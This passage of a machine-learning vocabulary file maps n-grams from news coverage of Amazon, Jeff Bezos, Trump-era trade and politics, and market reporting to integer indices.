handing": 159217, "official purchases": 159218, "mueller rep": 159219, "tariff level": 159220, "security investigation": 159221, "pilcher": 159222, "onesies adorned": 159223, "tobuild": 159224, "fax": 159225, "abrader remarks": 159226, "information outraged": 159227, "spending": 159228, "recommendations page": 159229, "lutes drawn": 159230, "building opportunities": 159231, "remains founder": 159232, "catalyst": 159233, "tabloid ink": 159234, "jessica mcgowan": 159235, "anti tech": 159236, "discuss criminal": 159237, "op": 159238, "course disagree": 159239, "political payback": 159240, "unflinchingly lamster": 159241, "intermittent": 159242, "american farmers": 159243, "data today": 159244, "understand wow": 159245, "outfits": 159246, "jquery containerclassid": 159247, "chinese internet": 159248, "merchandise online": 159249, "amazon seeking": 159250, "passing mention": 159251, "economic warfare": 159252, "think muckerman": 159253, "family life": 159254, "evade scrutiny": 159255, "potential rivals": 159256, "winning cookbook": 159257, "advantage mccain": 159258, "statepoliticians": 159259, "forcing foreign": 159260, "inaugural box": 159261, "facebook published": 159262, "year nabbing": 159263, "light switch": 159264, "vaccine movies": 159265, "psyche": 159266, "regulatory service": 159267, "play trump": 159268, "start new": 159269, "including members": 159270, "details meghan": 159271, "nontariff barriers": 159272, "adds": 159273, "seconds cohen": 159274, "devastating": 159275, "northern border": 159276, "petulant": 159277, "industrial capitalism": 159278, "organization brian": 159279, "tabloid obtained": 159280, "white woman": 159281, "showing retail": 159282, "stocks collapsed": 159283, "services including": 159284, "appreciated value": 159285, "foe list": 159286, "ventures": 159287, "accidentally granted": 159288, "amc entertainment": 159289, "policies governing": 159290, "backed projects": 159291, "zinke departs": 159292, "md panel": 159293, "urgent financial": 159294, "reassessment": 159295, "444ed7bb5ea74821be6b5fadf54818b4": 159296, "buy groceries": 159297, "scholarship": 159298, "jim thank": 159299, "story bayer": 159300, "frustrated president": 159301, "scenarios amazon": 159302, "walzer": 159303, "annandale": 159304, "day governor": 159305, "usps currently": 159306, "carrier despite": 159307, "hill wants": 159308, "sheriffs association": 159309, "including mccabe": 159310, "man welcome": 159311, "todays": 159312, "stone author": 159313, "trolls": 159314, "nook": 159315, "multi stakeholder": 159316, "home max": 159317, "russia violated": 159318, "insanity": 159319, "produced massive": 159320, "special bee": 159321, "corporations weighed": 159322, "rivkin dr": 159323, "recovered kaitlyn": 159324, "founded blue": 159325, "forum reported": 159326, "drummer": 159327, "traditional mortgages": 159328, "relation": 159329, "myanmar": 159330, "abruptly": 159331, "exploring revoking": 159332, "beloved novelists": 159333, "create entire": 159334, "ireland holdings": 159335, "revenue potential": 159336, "murder shocked": 159337, "constituents excluding": 159338, "karlis notes": 159339, "supervision": 159340, "comment bootnote": 159341, "grads": 159342, "percentages lasser": 159343, "expansive pattern": 159344, "minister resigns": 159345, "spirit longs": 159346, "chief michael": 159347, "attach": 159348, "using language": 159349, "yell": 159350, "way democracy": 159351, "bartlett calls": 159352, "forbes rich": 159353, "real real": 159354, "bishops summit": 159355, "president jeff": 159356, "showtime beginning": 159357, "waterfront": 159358, "van royen": 159359, "acquiring real": 159360, "earnings forecast": 159361, "louisville": 159362, "heinzls": 159363, "jake barnett": 159364, "golf club": 159365, "amzn sgn": 159366, "galaxy": 159367, "limiting global": 159368, "publisher fred": 159369, "globe winning": 159370, "trumpshocking summit": 159371, "____________________________trump mexico": 159372, "enquirer nyt": 159373, "united parcel": 159374, "money shutdown": 159375, "722 000": 159376, "forces acquire": 159377, "scripts days": 159378, "global global": 159379, "assembly member": 159380, "fromage": 159381, "employee site": 159382, "amended": 159383, "autonomous delivery": 159384, "discussed possibly": 159385, "reduce homelessness": 159386, "power contained": 159387, "256 mart": 159388, "asset holds": 159389, "prime customers": 159390, "cap": 159391, "party challenger": 159392, "trauma": 159393, "differ materially": 159394, "proclaimed foe": 159395, "transport services": 159396, "town ditching": 159397, "cell phone": 159398, "just admitted": 159399, "breaks incentives": 159400, "treat minor": 159401, "anecdotes americans": 159402, "obtained voicemails": 159403, "base wage": 159404, "medical issues": 159405, "insulators": 159406, "worth pegged": 159407, "boss cook": 159408, "continuity": 159409, "hill evan": 159410, "opposite effect": 159411, "extreme right": 159412, "brexit irish": 159413, "sense contrary": 159414, "ben tobin": 159415, "user 700": 159416, "charitable trust": 159417, "ireland": 159418, "upbeat": 159419, "trump raged": 159420, "candidates company": 159421, "company explosive": 159422, "plus ideas": 159423, "border protection": 159424, "blackfriday": 159425, "inc_promo_date": 159426, "competition regulators": 159427, "volatile chief": 159428, "soaked": 159429, "trump praise": 159430, "operating efficiencies": 159431, "marketplace owners": 159432, "city wins": 159433, "bills": 159434, "new highs": 159435, "p0 p8": 159436, "leaked memo": 159437, "paradise papers": 159438, "businesses amazon": 159439, "analysing": 159440, "allen chau": 159441, "homeless man": 159442, "read likewise": 159443, "wing media": 159444, "sanchez brother": 159445, "teresa lo": 159446, "prior experience": 159447, "reformation": 159448, "time face": 159449, "window continues": 159450, "om": 159451, "production primary": 159452, "primary candidates": 159453, "indiana montana": 159454, "firm didi": 159455, "identify solutions": 159456, "online portal": 159457, "growing concerns": 159458, "elapsed": 159459, "security russia": 159460, "investor tour": 159461, "workers added": 159462, "drove morgan": 159463, "1200x411 png": 159464, "advance 2018": 159465, "declarethe": 159466, "icymi knew": 159467, "pays federal": 159468, "amazon warehous": 159469, "ny office": 159470, "depict news": 159471, "package amazon": 159472, "investigation continues": 159473, "way region": 159474, "costumes self": 159475, "james jay": 159476, "finish": 159477, "zuckerberg declined": 159478, "violence france": 159479, "scalia son": 159480, "f4 m4": 159481, "world leaders": 159482, "congressmen": 159483, "company leaders": 159484, "deny malicious": 159485, "porniness": 159486, "platform really": 159487, "colourful": 159488, "elastic": 159489, "implicate amazon": 159490, "nervousness gripped": 159491, "micron technology": 159492, "world implications": 159493, "antitrust enforcers": 159494, "flames higher": 159495, "sketch joking": 159496, "justifiable": 159497, "unspoken": 159498, "world annihilation": 159499, "tom ripley": 159500, "young guns": 159501, "billion just": 159502, "services earlier": 159503, "transformative energy": 159504, "lira selloff": 159505, "don manage": 159506, "clinic": 159507, "considering targeting": 159508, "sharpton national": 159509, "mccabe andrew": 159510, "partieswant": 159511, "lose house": 159512, "send people": 159513, "conducted knowledge": 159514, "prices signed": 159515, "fed hand": 159516, "huge company": 159517, "playing modern": 159518, "justices did": 159519, "dominance saunders": 159520, "distribution income": 159521, "advertising campaigns": 159522, "2011 egypt": 159523, "rear": 159524, "enter new": 159525, "know lane": 159526, "sources file": 159527, "flat people": 159528, "big projects": 159529, "huge critique": 159530, "calledhq2headquartersand": 159531, "policy agenda": 159532, "kurtz says": 159533, "nbcsn podcast": 159534, "indian prime": 159535, "help attendees": 159536, "earnings growth": 159537, "books advertising": 159538, "foiling": 159539, "exposs": 159540, "hired away": 159541, "hit revival": 159542, "transatlantic": 159543, "hasn worked": 159544, "freedom repeatedly": 159545, "beauty read": 159546, "article alleging": 159547, "algorithmically promote": 159548, "post service": 159549, "kondabolu warn": 159550, "expectations stock": 159551, "mayoral": 159552, "curry stopped": 159553, "habila new": 159554, "zellnor": 159555, "crimes according": 159556, "bring magic": 159557, "thanks nra": 159558, "tripe": 159559, "needs company": 159560, "agreement clearly": 159561, "sourcedavid ryder": 159562, "interview saying": 159563, "table hard": 159564, "vetted category": 159565, "sorely": 159566, "lawful american": 159567, "general believe": 159568, "safe havens": 159569, "conversation": 159570, "reporting source": 159571, "significant way": 159572, "foreign autos": 159573, "budget director": 159574, "pagourtzis": 159575, "spielberg": 159576, "weather impacted": 159577, "politicians opposed": 159578, "reels": 159579, "gop convention": 159580, "passes tariff": 159581, "rubiginosa tree": 159582, "lme daily": 159583, "tyrants": 159584, "away signs": 159585, "photo janet": 159586, "amazon facilities": 159587, "locations perfumania": 159588, "underpaying women": 159589, "trump adviser": 159590, "tax overhaul": 159591, "developers feel": 159592, "work": 159593, "sex talk": 159594, "bezos wife": 159595, "robe": 159596, "left hand": 159597, "itty": 159598, "exclusive relationship": 159599, "emboldened": 159600, "mikepence comments": 159601, "kelly west": 159602, "replace theresa": 159603, "major privacy": 159604, "administration despite": 159605, "bush law": 159606, "diesel pollution": 159607, "monoliths shaped": 159608, "civil liberties": 159609, "cost 800": 159610, "finance professor": 159611, "steep 600": 159612, "diligent investors": 159613, "deserves place": 159614, "slippery politics": 159615, "internal documents": 159616, "companies raising": 159617, "schultz democrat": 159618, "banker head": 159619, "department hired": 159620, "costs trump": 159621, "past summer": 159622, "cameras dotted": 159623, "powerful women": 159624, "exams": 159625, "southwest plus": 159626, "kenzie": 159627, "sonny": 159628, "lucifer": 159629, "family mackenzie": 159630, "today loves": 159631, "ranking official": 159632, "playing tennis": 159633, "2018 share": 159634, "year overall": 159635, "mar": 159636, "paris cac": 159637, "freeport mcmoran": 159638, "laptop later": 159639, "spurred flurry": 159640, "making faux": 159641, "ibtimes": 159642, "extraction industries": 159643, "congressional approval": 159644, "stock yielding": 159645, "powerful shopping": 159646, "disclosure instagram": 159647, "passed trillion": 159648, "decidedly negative": 159649, "punk bank": 159650, "trump disaster": 159651, "kmart stores": 159652, "groups backed": 159653, "shopping center": 159654, "retired neurosurgeon": 159655, "capturing media": 159656, "business original": 159657, "happens trump": 159658, "thanking amazon": 159659, "pentagon inspector": 159660, "ellis withering": 159661, "chicago bulls": 159662, "various taxes": 159663, "mai": 159664, "time colbert": 159665, "carell uses": 159666, "princes": 159667, "cortez bumbles": 159668, "tank khan": 159669, "hip": 159670, "grandinetti did": 159671, "legal power": 159672, "facility escapes": 159673, "finger points": 159674, "closed facebook": 159675, "floating docks": 159676, "court rulings": 159677, "employees speak": 159678, "careful": 159679, "infamously venerated": 159680, "really bother": 159681, "sue feminist": 159682, "law property": 159683, "checkout technology": 159684, "bugbear": 159685, "tyler cowen": 159686, "sex crime": 159687, "cancer survival": 159688, "circuiting": 159689, "taxable tangible": 159690, "paul trussell": 159691, "loss carryforwards": 159692, "various divisions": 159693, "discount coupon": 159694, "service alabama": 159695, "whitefish real": 159696, "transportation warehousing": 159697, "information required": 159698, "herera charge": 159699, "support having": 159700, "americans transition": 159701, "prominently listed": 159702, "physical space": 159703, "russia blames": 159704, "watermelon": 159705, "ask regional": 159706, "sales growth": 159707, "informational advantages": 159708, "coppola nbcuniversal": 159709, "cruise envious": 159710, "crosby": 159711, "including illegal": 159712, "biggest foe": 159713, "bring peace": 159714, "enormous": 159715, "partly caused": 159716, "multiplicity": 159717, "tax cut": 159718, "chief ethics": 159719, "kovacic": 159720, "greater res": 159721, "stoltenberg reuters": 159722, "pies cathy": 159723, "openly talking": 159724, "wcmh": 159725, "amazons facial": 159726, "tangled": 159727, "telling prosecutors": 159728, "headlee": 159729, "hasn exactly": 159730, "privatize large": 159731, "hosting secdef": 159732, "largo": 159733, "expediating sic": 159734, "line sales": 159735, "terrorism following": 159736, "coulter tom": 159737, "japan nikkei": 159738, "crossbody pack": 159739, "photos ap": 159740, "bigquestion phil": 159741, "carrying nbc": 159742, "tenneco": 159743, "natural cures": 159744, "jewell check": 159745, "contest culminated": 159746, "watch pelosi": 159747, "party ranks": 159748, "stealing": 159749, "labor secretary": 159750, "government won": 159751, "monopolies competition": 159752, "city thailand": 159753, "known today": 159754, "guest michael": 159755, "572 minutes": 159756, "lot ofhis": 159757, "ribbon panel": 159758, "ages old": 159759, "probably resist": 159760, "lamagna": 159761, "foods citing": 159762, "service contrasts": 159763, "specific claims": 159764, "2018 fun": 159765, "story lineup": 159766, "millionaire protested": 159767, "abuse disorders": 159768, "modern art": 159769, "149 george": 159770, "fresh equity": 159771, "story jillian": 159772, "employment according": 159773, "cnn appearance": 159774, "kids amazon": 159775, "provisionally": 159776, "qualcomm amazon": 159777, "suffering measles": 159778, "insert sheet": 159779, "instagram feed": 159780, "interview stephanopoulos": 159781, "announcement won": 159782, "pepsico forecasts": 159783, "61st street": 159784, "new reports": 159785, "national talk": 159786, "stranger charles": 159787, "graduate emil": 159788, "better amazon": 159789, "client invites": 159790, "square google": 159791, "elected democratic": 159792, "close aides": 159793, "earns amazon": 159794, "senwarren": 159795, "publicly condemned": 159796, "man president": 159797, "state fine": 159798, "adamcbest": 159799, "1830s": 159800, "multiple law": 159801, "national politics": 159802, "saved copy": 159803, "programming interfaces": 159804, "5bn": 159805, "cameroon": 159806, "agreement included": 159807, "delegitimize coverage": 159808, "launching amazon": 159809, "water game": 159810, "chancellor phillip": 159811, "meets": 159812, "acquire video": 159813, "giants sens": 159814, "rollback": 159815, "spectrum bernie": 159816, "convenient punching": 159817, "nasdaq amzn": 159818, "ruffled": 159819, "broke news": 159820, "overland": 159821, "wasby primarily": 159822, "making great": 159823, "sovereigns lord": 159824, "survivor emma": 159825, "\u0430is \u0430in\u0430appearance": 159826, "hotel transylvania": 159827, "perceive california": 159828, "deduction cap": 159829, "catherine": 159830, "liberties": 159831, "medication management": 159832, "prairie": 159833, "reported adjusted": 159834, "lotter trump": 159835, "films": 159836, "gold medal": 159837, "active users": 159838, "money stance": 159839, "pass volunteers": 159840, "available sent": 159841, "valor awards": 159842, "yakitori": 159843, "protect small": 159844, "dishonest globalist": 159845, "yorkers haven": 159846, "investing jeff": 159847, "services department": 159848, "creating 850": 159849, "books online": 159850, "bezos earn": 159851, "fueled allegations": 159852, "article submit": 159853, "annual ceiling": 159854, "uncertainties stemming": 159855, "wrote abramson": 159856, "blizzard": 159857, "capitalist enterprises": 159858, "transportation services": 159859, "new good": 159860, "recent numbers": 159861, "alex beard": 159862, "senator ted": 159863, "vaccinate": 159864, "asian nation": 159865, "213": 159866, "international operations": 159867, "perfumes": 159868, "trump betrayed": 159869, "story tropical": 159870, "deputy general": 159871, "text register": 159872, "ad buys": 159873, "statistic amazon": 159874, "metapack supports": 159875, "ban glass": 159876, "president tension": 159877, "sesame street": 159878, "congressional candidate": 159879, "advsrs ny": 159880, "amazon publishing": 159881, "post cnn": 159882, "gothic horror": 159883, "armageddon": 159884, "open public": 159885, "possibly linked": 159886, "edition bottles": 159887, "nashville tennessee": 159888, "roebuck": 159889, "entry drafts": 159890, "albany amazon": 159891, "shares plummeted": 159892, "city largest": 159893, "department thousands": 159894, "best actress": 159895, "midterms kevin": 159896, "industry analyst": 159897, "1041310008623943680 random": 159898, "reserve chairman": 159899, "positions pinterest": 159900, "flagship products": 159901, "australian town": 159902, "include special": 159903, "airport terminal": 159904, "bremberg prior": 159905, "administration lighter": 159906, "chairman republican": 159907, "cargo photo": 159908, "stock tumble": 159909, "resources rule": 159910, "control treaty": 159911, "took effect": 159912, "great news": 159913, "optimal strategy": 159914, "amid accusations": 159915, "covering technology": 159916, "bull case": 159917, "pentagon released": 159918, "evacuated": 159919, "story visa": 159920, "head rob": 159921, "aphrodisiacs": 159922, "report hammered": 159923, "multilateral": 159924, "800 according": 159925, "vindictive temperament": 159926, "technica": 159927, "afghan government": 159928, "daring tagger": 159929, "amazon hasn": 159930, "campaigns": 159931, "everybody welcome": 159932, "report rahel": 159933, "called fang": 159934, "billion reasons": 159935, "phone companies": 159936, "english chinese": 159937, "billion postmates": 159938, "amazon need": 159939, "course helped": 159940, "birth edited": 159941, "boycottnetflix netflix": 159942, "channel island": 159943, "businesses owned": 159944, "hospital gecko": 159945, "phishing hosting": 159946, "lucrative market": 159947, "pollack sethmpk": 159948, "subsequently criticized": 159949, "eventual": 159950, "coleman head": 159951, "economies communities": 159952, "stop payments": 159953, "jon tester": 159954, "videocmsuri video": 159955, "increased opportunities": 159956, "dr elon": 159957, "adversary": 159958, "fears continued": 159959, "ontario special": 159960, "belongings": 159961, "loud chants": 159962, "million judgment": 159963, "diminish according": 159964, "jordi moll\u00e0": 159965, "package business": 159966, "424": 159967, "commoditized": 159968, "dwight eisenhower": 159969, "probably right": 159970, "space hmmm": 159971, "curious": 159972, "california prosecutors": 159973, "taste local": 159974, "flowery titles": 159975, "contemporary satanism": 159976, "iran sanction": 159977, "swallowed": 159978, "2015 moody": 159979, "slowed believe": 159980, "stories editorial": 159981, "regularly rails": 159982, "trump immigration": 159983, "saying apparently": 159984, "nbc sports": 159985, "wine heats": 159986, "routes include": 159987, "just vaccines": 159988, "wife zing": 159989, "sam shields": 159990, "fact fiction": 159991, "giants censoring": 159992, "mobile fintech": 159993, "increasingly drying": 159994, "discussed recruiting": 159995, "000 \u0142115": 159996, "monthly traffic": 159997, "lean": 159998, "suu kyi": 159999, "outright according": 160000, "misunderstood fb": 160001, "620 workers": 160002, "post photographs": 160003, "brand citing": 160004, "commerce purchases": 160005, "magazine says": 160006, "say locating": 160007, "age vision": 160008, "little easier": 160009, "\u0627\u0644\u0639\u0646\u0640\u0640\u0640\u0640\u0648\u062f": 160010, "rudy cheese": 160011, "admiral": 160012, "fellow technologists": 160013, "year hottest": 160014, "peers ebay": 160015, "account violated": 160016, "famed": 160017, "200bn": 160018, "ly 2s9tl9g": 160019, "whoknows": 160020, "kilometer section": 160021, "ktla": 160022, "delivery days": 160023, "reuters alpine": 160024, "program colloquially": 160025, "natascha": 160026, "quick buck": 160027, "crusader khan": 160028, "various federal": 160029, "isn good": 160030, "stock post": 160031, "alphaone invest": 160032, "parroting": 160033, "private enterprise": 160034, "ladies apparel": 160035, "walmart sears": 160036, "deliver hot": 160037, "adversaries": 160038, "rate policies": 160039, "customer feedback": 160040, "mention bezos": 160041, "mail customers": 160042, "ice voices": 160043, "plaudits": 160044, "images amazon": 160045, "looms buy": 160046, "conduct personal": 160047, "ruotola": 160048, "ruben diaz": 160049, "work schedule": 160050, "levy adjunct": 160051, "trump american": 160052, "launched sci": 160053, "drawn": 160054, "intel critics": 160055, "hit list": 160056, "question jack": 160057, "aws separation": 160058, "competitors analysts": 160059, "shaunmckenzie86": 160060, "immigrants racist": 160061, "research internet": 160062, "spavor keeping": 160063, "dropped segments": 160064, "raj singh": 160065, "hurt disappointment": 160066, "crisis response": 160067, "adeyemi check": 160068, "company sponsored": 160069, "zones amazon": 160070, "trends content": 160071, "sole provider": 160072, "includes look": 160073, "presidents lula": 160074, "allegedly resists": 160075, "amazon us3": 160076, "razor": 160077, "says treasury": 160078, "apple apple": 160079, "signatories include": 160080, "general membership": 160081, "earnings growing": 160082, "led becker": 160083, "previously anticipated": 160084, "mortar retailer": 160085, "article protestors": 160086, "programs instead": 160087, "live fubotv": 160088, "paper claimed": 160089, "mass regulatory": 160090, "locations amazon": 160091, "regard finally": 160092, "cabernet sauvignon": 160093, "blue light": 160094, "madame": 160095, "group american": 160096, "e4": 160097, "send shivers": 160098, "fares beginning": 160099, "silver platter": 160100, "losses today": 160101, "added representative": 160102, "mid single": 160103, "technology designed": 160104, "advisers illegitimate": 160105, "dangerous cocktail": 160106, "held data": 160107, "google reuters": 160108, "fiction post": 160109, "thwarted": 160110, "margaret harding": 160111, "authorities question": 160112, "deputy james": 160113, "invitation sanders": 160114, "simpler ordering": 160115, "correspondent china": 160116, "guillotine": 160117, "survival group": 160118, "terrible thing": 160119, "bayer discloses": 160120, "central 3p": 160121, "action drama": 160122, "new frontier": 160123, "halliburton shares": 160124, "idyllic": 160125, "fact politically": 160126, "employee resignations": 160127, "gonzalez rips": 160128, "market reopened": 160129, "donations going": 160130, "vmware india": 160131, "mpf says": 160132, "google type": 160133, "senate lot": 160134, "additions especially": 160135, "sessions accompanied": 160136, "hulu live": 160137, "speed press": 160138, "\u014263 4billion": 160139, "start talking": 160140, "forest received": 160141, "sued vernon": 160142, "representative form": 160143, "company runaway": 160144, "ago stating": 160145, "founder fred": 160146, "iran nuclear": 160147, "dicriscio": 160148, "pillpack walgreens": 160149, "bankshares": 160150, "professed": 160151, "bezos everybody": 160152, "behaving": 160153, "sex crazed": 160154, "va listing": 160155, "nasdaq make": 160156, "robots": 160157, "trends consumer": 160158, "ami ran": 160159, "transgender people": 160160, "wespac": 160161, "bezos euro": 160162, "hdr armed": 160163, "050 581": 160164, "mexican smuggling": 160165, "pecker responds": 160166, "sales city": 160167, "agreement voluntarily": 160168, "limbaugh": 160169, "water natural": 160170, "spring aftershocks": 160171, "centralization payment": 160172, "score goal": 160173, "wasn expected": 160174, "deep roots": 160175, "limiting indigenous": 160176, "offset potential": 160177, "day shutdown": 160178, "buybox": 160179, "new delhi": 160180, "cabal helmed": 160181, "delayed plans": 160182, "qvc": 160183, "keanu": 160184, "users literally": 160185, "install": 160186, "projects": 160187, "overseeing worldwide": 160188, "potential tax": 160189, "founder unmasked": 160190, "development homecoming": 160191, "talented democratic": 160192, "misidentified": 160193, "amazon initial": 160194, "alatriste new": 160195, "a1": 160196, "ipec provides": 160197, "great fit": 160198, "208": 160199, "health content": 160200, "company tyger": 160201, "law makes": 160202, "site beijing": 160203, "story husni": 160204, "survivors president": 160205, "sitcom minus": 160206, "owner charges": 160207, "trump admitted": 160208, "teixeira": 160209, "company distaste": 160210, "boost profitability": 160211, "lame duck": 160212, "network cnbc": 160213, "retch inducing": 160214, "open store": 160215, "amazon postage": 160216, "particular chief": 160217, "wrongdoing saying": 160218, "star lover": 160219, "print journalism": 160220, "transportation jobs": 160221, "variety including": 160222, "process sanders": 160223, "unsettled just": 160224, "recent afternoon": 160225, "employee benefits": 160226, "group lower": 160227, "midterms 2018": 160228, "advertising space": 160229, "stated publicly": 160230, "midst": 160231, "tapes exist": 160232, "summers david": 160233, "suspends alex": 160234, "chain hudson": 160235, "rare person": 160236, "lost nearly": 160237, "year forbes": 160238, "firm coverage": 160239, "unsealed documents": 160240, "helsinki presidential": 160241, "naming": 160242, "irresponsible brian": 160243, "monsivais ap": 160244, "electoral campaign": 160245, "fyi": 160246, "company prices": 160247, "billionaire chairman": 160248, "clients respect": 160249, "including mark": 160250, "finishing": 160251, "president obama": 160252, "regularly describing": 160253, "test site": 160254, "launch lights": 160255, "added rsa": 160256, "asian stocks": 160257, "ub": 160258, "playingout": 160259, "vindictive assault": 160260, "amnesty plan": 160261, "tiny bit": 160262, "stanley policy": 160263, "widening trade": 160264, "boss wrote": 160265, "primary function": 160266, "avoid responding": 160267, "west decided": 160268, "huge windfall": 160269, "sandra bland": 160270, "civil tax": 160271, "press purchase": 160272, "advocates argue": 160273, "confirms nyc": 160274, "mcdougal did": 160275, "resolution asks": 160276, "publicly known": 160277, "offer prime": 160278, "powers timeline": 160279, "announcement contending": 160280, "straight sensanders": 160281, "hours south": 160282, "knopf turns": 160283, "marriage scandal": 160284, "bipartisan federal": 160285, "amazon turns": 160286, "asks passers": 160287, "limos": 160288, "lrcx": 160289, "oscars sources": 160290, "richmond virginia": 160291, "international students": 160292, "wonder did": 160293, "divorce announcement": 160294, "news story": 160295, "letter executive": 160296, "based conservatism": 160297, "publishes list": 160298, "aid corp": 160299, "majority whip": 160300, "papadopoulos": 160301, "couple conversation": 160302, "director amazon": 160303, "evaluate tech": 160304, "firm rosettistarr": 160305, "corporate bond": 160306, "story mnuchin": 160307, "pg": 160308, "hughes learning": 160309, "bayn": 160310, "challenges ba": 160311, "ebay fell": 160312, "budget deadline": 160313, "bezos wealth": 160314, "hardly": 160315, "trump revealed": 160316, "tax major": 160317, "life example": 160318, "getownpropertydescriptor": 160319, "cut rate": 160320, "twitter looks": 160321, "ak": 160322, "close links": 160323, "scenes look": 160324, "card company": 160325, "day photo": 160326, "avowed": 160327, "waves overconfidence": 160328, "affairs john": 160329, "does provide": 160330, "water securing": 160331, "hour posted": 160332, "forget amazon": 160333, "reasonable considering": 160334, "require qualitative": 160335, "ceo jennifer": 160336, "index check": 160337, "tech anti": 160338, "400 shares": 160339, "ridesharing business": 160340, "hadn turned": 160341, "panicked": 160342, "cathy rojas": 160343, "spokesperson aaron": 160344, "5438": 160345, "frankly brian": 160346, "prince mohammad": 160347, "tech situations": 160348, "dynamic commerce": 160349, "ref_src": 160350, "movement mst": 160351, "appearance china": 160352, "big bullhorns": 160353, "decorative monarch": 160354, "inbound foreign": 160355, "ethnic origin": 160356, "media house": 160357, "reform capitalism": 160358, "voicing concerns": 160359, "new newspaper": 160360, "shooting connecticut": 160361, "confront confluence": 160362, "spinal": 160363, "pursue new": 160364, "pursued story": 160365, "committee": 160366, "power matters": 160367, "enemies ignoring": 160368, "run services": 160369, "monopolists lose": 160370, "political football": 160371, "barria reuters": 160372, "zappos flickr": 160373, "banks affected": 160374, "kayak": 160375, "fined google": 160376, "fame star": 160377, "nscola politico": 160378, "buzzfeed aleksej": 160379, "says package": 160380, "vote ultimately": 160381, "block deal": 160382, "criticisms beginning": 160383, "donnell variety": 160384, "jessie bur": 160385, "development jackpot": 160386, "right matches": 160387, "retake": 160388, "acres charred": 160389, "language shows": 160390, "c8": 160391, "code cloud": 160392, "annual spring": 160393, "new vehicle": 160394, "code ccn": 160395, "larger million": 160396, "benefited directly": 160397, "hosted code": 160398, "twitter nathanbomey": 160399, "images leaked": 160400, "albany cuomo": 160401, "flat surcharge": 160402, "family paid": 160403, "warehouse pickers": 160404, "hanson mcclain": 160405, "chung": 160406, "users abroad": 160407, "vegas exceed": 160408, "assaulting actress": 160409, "critical infrastructure": 160410, "flaw": 160411, "improperly": 160412, "icon posted": 160413, "company citi": 160414, "biggest business": 160415, "immigrant populations": 160416, "make toilet": 160417, "belgrade mont": 160418, "ginger": 160419, "2017 deal": 160420, "amazon importing": 160421, "murray wash": 160422, "realignment": 160423, "000 persons": 160424, "lighten": 160425, "people reading": 160426, "firms facebook": 160427, "morning couple": 160428, "amazon solely": 160429, "litigation according": 160430, "grows": 160431, "laid waste": 160432, "alexisgoldstein": 160433, "woo": 160434, "arbitrages": 160435, "unable": 160436, "public dollars": 160437, "correctly points": 160438, "following": 160439, "digital communication": 160440, "administration misled": 160441, "hate big": 160442, "trump stance": 160443, "city neighbourhood": 160444, "asset markets": 160445, "charleston": 160446, "bulletproof vest": 160447, "bought indian": 160448, "uncommonly": 160449, "kleindienst": 160450, "college point": 160451, "folklore surrounding": 160452, "caymans costing": 160453, "majority nyt": 160454, "smith says": 160455, "media radio": 160456, "protests cbs": 160457, "amazon increasing": 160458, "global websites": 160459, "point hollenhorst": 160460, "texas election": 160461, "president benjamin": 160462, "wording makes": 160463, "newly adopted": 160464, "status 946728546633953285": 160465, "purchase product": 160466, "tech economy": 160467, "showing documentary": 160468, "lara trump": 160469, "burpp": 160470, "lieberman released": 160471, "degrading infrastructure": 160472, "surrender": 160473, "real journalists": 160474, "stitchfix": 160475, "indicated bounce": 160476, "york list": 160477, "receive 150": 160478, "backed presidential": 160479, "ceo lawrence": 160480, "font": 160481, "bureaucrats protected": 160482, "pharmaceuticals": 160483, "aldi": 160484, "relevant environments": 160485, "federal government": 160486, "watergate did": 160487, "legal protections": 160488, "owners need": 160489, "fine grain": 160490, "harder trump": 160491, "suggests europe": 160492, "falsification": 160493, "editions including": 160494, "shanahan orders": 160495, "apparently unlikely": 160496, "playwright": 160497, "totally": 160498, "food trucks": 160499, "perjury charges": 160500, "beverages energy": 160501, "amazon opponents": 160502, "companies comcast": 160503, "reps elijah": 160504, "michael binetti": 160505, "given jurisdiction": 160506, "just mere": 160507, "complete denial": 160508, "natasha lindstrom": 160509, "democracy 1237872": 160510, "assault charges": 160511, "interests bolsonaro": 160512, "expressed complete": 160513, "joy behar": 160514, "completely contradict": 160515, "language contains": 160516, "day isnt": 160517, "trump silence": 160518, "matter ending": 160519, "bezoses met": 160520, "additional criticisms": 160521, "organizations according": 160522, "bezos eclipse": 160523, "patented electronic": 160524, "whipping": 160525, "outside white": 160526, "president ridiculed": 160527, "argentine": 160528, "campaign featuring": 160529, "century version": 160530, "mideast": 160531, "ousting nicol\u00e1s": 160532, "impute": 160533, "lauded amazon": 160534, "kept social": 160535, "high temperatures": 160536, "class mail": 160537, "bipartisan investing": 160538, "synonymous": 160539, "griffeth speaking": 160540, "peaceful future": 160541, "individual shareholders": 160542, "accusing": 160543, "congratulating": 160544, "anonymous deaths": 160545, "customers kroger": 160546, "heat salt": 160547, "foy": 160548, "330 million": 160549, "power high": 160550, "simple battery": 160551, "klean": 160552, "cattle pasture": 160553, "analysis": 160554, "gennady golovkin": 160555, "retain senate": 160556, "magazine latest": 160557, "outsiders note": 160558, "renewed efforts": 160559, "shilling sees": 160560, "led lower": 160561, "bizarre strand": 160562, "gone viral": 160563, "democrat progressive": 160564, "policy reach": 160565, "clerks using": 160566, "vendettas score": 160567, "win anybody": 160568, "walker campaign": 160569, "overstating": 160570, "claiming 303": 160571, "buzzsaw written": 160572, "president feels": 160573, "statement apple": 160574, "conagra reported": 160575, "times earlier": 160576, "hypersensitive hearing": 160577, "selfies sent": 160578, "recent moves": 160579, "driving legislation": 160580, "driven initiative": 160581, "news free": 160582, "davidson did": 160583, "gantry": 160584, "popular posts": 160585, "succeed experts": 160586, "insider speculation": 160587, "eclipse 230": 160588, "q1fy15": 160589, "amr alfiky": 160590, "office michael": 160591, "democrats notes": 160592, "benefit jobs": 160593, "age led": 160594, "poach fedex": 160595, "head steve": 160596, "storynow": 160597, "blackout": 160598, "goods manufacturing": 160599, "refund progressives": 160600, "old wash": 160601, "bein": 160602, "just attacked": 160603, "important google": 160604, "facebooktwittergoogle linkedin": 160605, "stopped investigating": 160606, "copyrighted": 160607, "cicilline called": 160608, "lc2kgo6men pic": 160609, "remain unchecked": 160610, "empathetic": 160611, "yerger": 160612, "company grows": 160613, "010 shares": 160614, "liberal democrat": 160615, "city exports": 160616, "selecting nashville": 160617, "bezos takedown": 160618, "states discussed": 160619, "trade written": 160620, "cement taylor": 160621, "process trump": 160622, "lucrative tax": 160623, "frustration": 160624, "personal vendetta": 160625, "employs 613": 160626, "bothering": 160627, "addictions": 160628, "lesser": 160629, "committee allocations": 160630, "calif hire": 160631, "cover reached": 160632, "planet just": 160633, "postal reforms": 160634, "mendes opens": 160635, "friendly relationship": 160636, "alphabet parent": 160637, "armed conflict": 160638, "chin far": 160639, "rents forcing": 160640, "told crowd": 160641, "slight margin": 160642, "cards jovan": 160643, "nominee nick": 160644, 